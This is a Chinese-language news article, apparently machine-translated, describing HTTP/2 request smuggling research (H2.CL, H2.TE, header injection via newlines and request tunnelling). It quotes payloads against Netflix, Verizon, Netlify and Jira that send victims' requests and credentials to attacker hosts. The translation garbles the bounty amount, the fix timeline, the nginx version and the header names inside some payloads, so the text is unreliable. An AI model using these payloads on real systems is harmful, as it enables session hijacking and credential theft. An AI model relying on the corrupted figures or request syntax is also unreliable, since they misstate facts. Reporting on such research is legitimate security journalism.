一種對前端后端系統的新攻擊,可讓您嵌入請求

前端透過 HTTP/2 接受連線並透過 HTTP/1.1 將連線傳輸到後端的 Web 系統已暴露於「HTTP 請求走私」攻擊的新變種,該攻擊允許透過發送專門設計的客戶端請求來插入在前端和後端之間的同一流程中處理的其他使用者的請求內容。此攻擊可用於將惡意 JavaScript 程式碼插入與合法網站的會話中,繞過存取限制系統並攔截身份驗證參數。

此問題會影響 Web 代理程式、負載平衡器、Web 加速器、內容交付系統以及其他先前端到後端方式重新導向請求的設定。研究的作者展示了攻擊 Netflix、Verizon、Bitbucket、Netlify CDN 和 Atlassian 系統的可能性,並因發現漏洞而獲得了 56 美元的獎勵計劃。該問題在 F5 Networks 產品中也得到了證實。此問題部分影響Apache http 伺服器中的mod_proxy (CVE-2021-33193),預計在2.4.49 版本中修復(開發人員已在3 月初收到該問題的通知,並被給予1.21.1 個月的時間來修復)。在 nginx 中,同時指定「Content-Length」和「Transfer-Encoding」標頭的功能會在上一個版本(XNUMX)中被封鎖。攻擊工具已包含在 Burp 工具包中,並以 Turbo Intruder 擴充的形式提供。

將請求楔入流量的新方法的操作原理與同一研究人員兩年前發現的漏洞類似,但僅限於透過 HTTP/1.1 接受請求的前端。讓我們回想一下,在前後端方案中,客戶端請求由一個額外的節點——前端接收,前端與後端建立長期 TCP 連接,後端直接處理請求。透過這個公共連接,通常會傳輸來自不同用戶的請求,這些請求依序遵循一條鏈,透過 HTTP 協定進行分隔。

經典的「HTTP 請求走私」攻擊是基於前端和後端解釋 HTTP 標頭「Content-Length」(確定請求中資料的總大小)和「Transfer-Encoding: chunked」(允許資料要分部分傳輸)不同。例如,如果前端僅支援“Content-Length”但忽略“Transfer-Encoding:chunked”,則攻擊者可以發送包含“Content-Length”和“Transfer-Encoding:chunked”標頭的請求,但“Content-Length 」的大小與分塊鏈的大小不符。在這種情況下,前端將根據“Content-Length”處理和重定向請求,後端將根據“Transfer-Encoding:chunked”等待區塊完成,攻擊者請求的剩餘尾部將位於接下來傳輸的其他人的請求的開頭。

與在行層級解析的文字協定 HTTP/1.1 不同,HTTP/2 是一種二進位協議,可操作預先指定大小的資料區塊。但是,HTTP/2 使用與常規 HTTP 標頭相對應的偽標頭。在透過 HTTP/1.1 協定與後端互動的情況下,前端將這些偽標頭轉換為類似的 HTTP 標頭 HTTP/1.1。問題是後端根據前端設定的 HTTP 標頭做出解析流的決定,而不了解原始請求的參數資訊。

特別是,「content-length」和「transfer-encoding」值可以以偽標頭的形式傳輸,儘管它們沒有在 HTTP/2 中使用,因為所有資料的大小是確定的在一個單獨的欄位中。但是,在將 HTTP/2 請求轉換為 HTTP/1.1 的過程中,這些標頭會被保留並可能使後端感到困惑。有兩種主要的攻擊變體:H2.TE 和 H2.CL,其中後端被錯誤的傳輸編碼或內容長度值誤導,這些值與前端通過前端接收到的請求正文的實際大小不符。 HTTP/2協定.

一種對前端后端系統的新攻擊,可讓您嵌入請求

H2.CL 攻擊的一個範例是在向 Netflix 發送 HTTP/2 請求時在內容長度偽標頭中指定不正確的大小。這個請求導致透過HTTP/1.1存取後端時增加了一個類似的HTTP header Content-Length,但由於Content-Length中指定的大小小於實際大小,所以tail中的部分資料被處理為下一個請求的開始。

例如請求 HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

將導致請求傳送到後端: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

由於 Content-Length 的值為 4,後端將只接受「abcd」作為請求正文,其餘「GET /n HTTP/1.1...」將作為後續請求的開始進行處理與另一個使用者關聯。因此,流將變得不同步,並且回應於下一個請求,將發出處理虛擬請求的結果。對於 Netflix,在虛擬請求的「Host:」標頭中指定第三方主機會導致客戶端回傳回應「Location: https://02.rs?x.netflix.com/n」並且允許將任意內容傳送到客戶端,包括在Netflix 網站的上下文中執行JavaScript 程式碼。

第二個攻擊選項(H2.TE)涉及替換「Transfer-Encoding:chunked」標頭。規範禁止在 HTTP/2 中使用傳輸編碼偽標頭,且規定使用該偽標頭的請求將被視為不正確。儘管如此,一些前端實作並沒有考慮到這一要求,並允許在 HTTP/2 中使用傳輸編碼偽標頭,該標頭會轉換為類似的 HTTP 標頭。如果存在「Transfer-Encoding」頭,後端可以將其作為更高的優先級,並使用不同大小的區塊以「分塊」模式逐塊解析數據,格式為「{size}\r\n{block ” }\r\n{size} \r\n{block}\r\n0",儘管最初除以整體大小。

Verizon 的例子證明了這種差距的存在。該問題涉及身份驗證入口網站和內容管理系統,赫芬頓郵報和 Engadget 等網站也使用該系統。例如,透過 HTTP/2 的客戶端請求: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=

結果向後端發送了 HTTP/1.1 請求: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres。淨淨含量-長度:10x=

反過來,後端忽略“Content-Length”標頭並根據“Transfer-Encoding:chunked”執行流內拆分。實際上,該攻擊可以將使用者請求重定向到其網站,包括攔截與 OAuth 身份驗證相關的請求,其參數顯示在 Referer 標頭中,以及模擬身份驗證會話並觸發用戶系統發送憑證到攻擊者的主機。 GET /b2blanding/show/oops HTTP/1.1 主機:psres.net 引薦來源:https://id.b2b.oath.com/?...&code=secret GET / HTTP/1.1 主機:psres.net 授權:承載eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik...

為了攻擊不允許指定傳輸編碼偽標頭的HTTP/2 實現,提出了另一種方法,該方法涉及透過將「傳輸編碼」標頭附加到由換行符分隔的其他偽標頭來替換「傳輸編碼」標頭(在這種情況下轉換為 HTTP/1.1 時會建立兩個單獨的 HTTP 標頭)。

例如,Atlassian Jira 和 Netlify CDN(用於為 Firefox 中的 Mozilla 起始頁提供服務)就會受到此問題的影響。具體來說,HTTP/2 請求:method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : 邪惡netlify-domain\r\n 內容長度: 5\r\n \r\nx=

導致 HTTP/1.1 POST / HTTP/1.1 請求傳送到後端\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length : 71 \ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n 主機:evil-netlify-domain\r\n 內容長度:5\r\n \r \nx=

替換「Transfer-Encoding」標頭的另一個選項是將其附加到另一個偽標頭的名稱或具有請求方法的行。例如,當存取 Atlassian Jira 時,偽標頭名稱「foo: bar\r\ntransfer-encoding」以及值「chunked」會導致新增 HTTP 標頭「foo: bar」和「transfer-encoding: chunked」 ,並指定偽標頭「:method」值「GET / HTTP/1.1\r\nTransfer-encoding: chunked」轉換為「GET / HTTP/1.1\r\ntransfer-encoding: chunked」。

發現該問題的研究人員還提出了一種請求隧道技術來攻擊前端,其中每個IP位址都與後端建立單獨的連接,來自不同用戶的流量不會混合。所提出的技術不允許幹擾其他用戶的請求,但可以毒害影響其他請求處理的共享緩存,並允許替換用於將服務資訊從前端傳輸到後端的內部 HTTP 標頭(例如,在前端側進行身份驗證時,此類標頭可以將有關當前用戶的信息傳輸到後端)。作為實際應用此方法的範例,使用快取中毒,可以獲得對 Bitbucket 服務中頁面的控制。

來源: opennet.ru

添加評論